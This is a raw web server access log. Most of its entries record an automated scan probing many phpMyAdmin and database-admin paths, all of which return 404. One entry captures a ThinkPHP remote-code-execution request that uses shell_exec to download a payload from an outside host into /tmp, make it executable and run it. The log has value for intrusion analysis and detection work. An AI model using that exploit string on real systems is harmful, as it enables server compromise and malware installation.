85.244.166.12 - - [09/Feb/2020:23:17:36 +0100] "GET /pma2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:37 +0100] "GET /phpmyadmin2011/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:37 +0100] "GET /phpmyadmin2012/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:37 +0100] "GET /phpmyadmin2013/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:37 +0100] "GET /phpmyadmin2014/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:37 +0100] "GET /phpmyadmin2015/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:38 +0100] "GET /phpmyadmin2016/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:38 +0100] "GET /phpmyadmin2017/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:38 +0100] "GET /phpmyadmin2018/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:38 +0100] "GET /phpmyadmin2019/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:38 +0100] "GET /phpmyadmin2020/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:17:39 +0100] "GET /index.php?lang=en HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
34.94.19.57 - - [09/Feb/2020:23:18:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:23:18:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:19:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.242.49.44 - - [09/Feb/2020:23:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:01 +0100] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:02 +0100] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:02 +0100] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:02 +0100] "GET /phpmyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:02 +0100] "GET /mysql/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:02 +0100] "GET /database/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:03 +0100] "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:03 +0100] "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:03 +0100] "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:03 +0100] "GET /phpmyadmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:03 +0100] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:04 +0100] "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:04 +0100] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:04 +0100] "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:04 +0100] "GET /2phpmyadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:05 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:05 +0100] "GET /phpmy/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:05 +0100] "GET /phppma/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:05 +0100] "GET /myadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:05 +0100] "GET /shopdb/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:06 +0100] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:06 +0100] "GET /program/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:06 +0100] "GET /PMA/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:06 +0100] "GET /dbadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:07 +0100] "GET /pma/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:07 +0100] "GET /db/index.php?lang=en HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:07 +0100] "GET /admin/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:08 +0100] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:08 +0100] "GET /db/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:08 +0100] "GET /sqlmanager/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:08 +0100] "GET /mysqlmanager/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:08 +0100] "GET /php-myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:09 +0100] "GET /phpmy-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:09 +0100] "GET /mysqladmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:09 +0100] "GET /mysql-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:09 +0100] "GET /admin/phpmyadmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:10 +0100] "GET /admin/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:10 +0100] "GET /admin/sysadmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:10 +0100] "GET /admin/sqladmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:10 +0100] "GET /admin/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:10 +0100] "GET /admin/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:11 +0100] "GET /admin/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:11 +0100] "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:11 +0100] "GET /mysql/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:11 +0100] "GET /mysql/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:12 +0100] "GET /mysql/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:12 +0100] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:12 +0100] "GET /sql/php-myadmin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:12 +0100] "GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:13 +0100] "GET /sql/sql/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:13 +0100] "GET /sql/myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:13 +0100] "GET /sql/webadmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:13 +0100] "GET /sql/sqlweb/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:14 +0100] "GET /sql/websql/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:14 +0100] "GET /sql/webdb/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:14 +0100] "GET /sql/sqladmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:14 +0100] "GET /sql/sql-admin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:15 +0100] "GET /sql/phpmyadmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:15 +0100] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:15 +0100] "GET /sql/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:15 +0100] "GET /db/myadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:16 +0100] "GET /db/webadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:16 +0100] "GET /db/dbweb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:16 +0100] "GET /db/websql/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:16 +0100] "GET /db/webdb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:16 +0100] "GET /db/dbadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:17 +0100] "GET /db/db-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:17 +0100] "GET /db/phpmyadmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:17 +0100] "GET /db/phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:17 +0100] "GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:18 +0100] "GET /administrator/phpmyadmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:18 +0100] "GET /administrator/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:18 +0100] "GET /administrator/db/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:18 +0100] "GET /administrator/web/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:19 +0100] "GET /administrator/pma/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:19 +0100] "GET /administrator/PMA/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:19 +0100] "GET /administrator/admin/index.php?lang=en HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:19 +0100] "GET /phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:19 +0100] "GET /phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:20 +0100] "GET /phpMyAdmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:20 +0100] "GET /phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:20 +0100] "GET /php-my-admin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:20 +0100] "GET /PMA2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:21 +0100] "GET /PMA2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:21 +0100] "GET /PMA2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:21 +0100] "GET /PMA2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:21 +0100] "GET /PMA2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:21 +0100] "GET /PMA2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:22 +0100] "GET /PMA2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
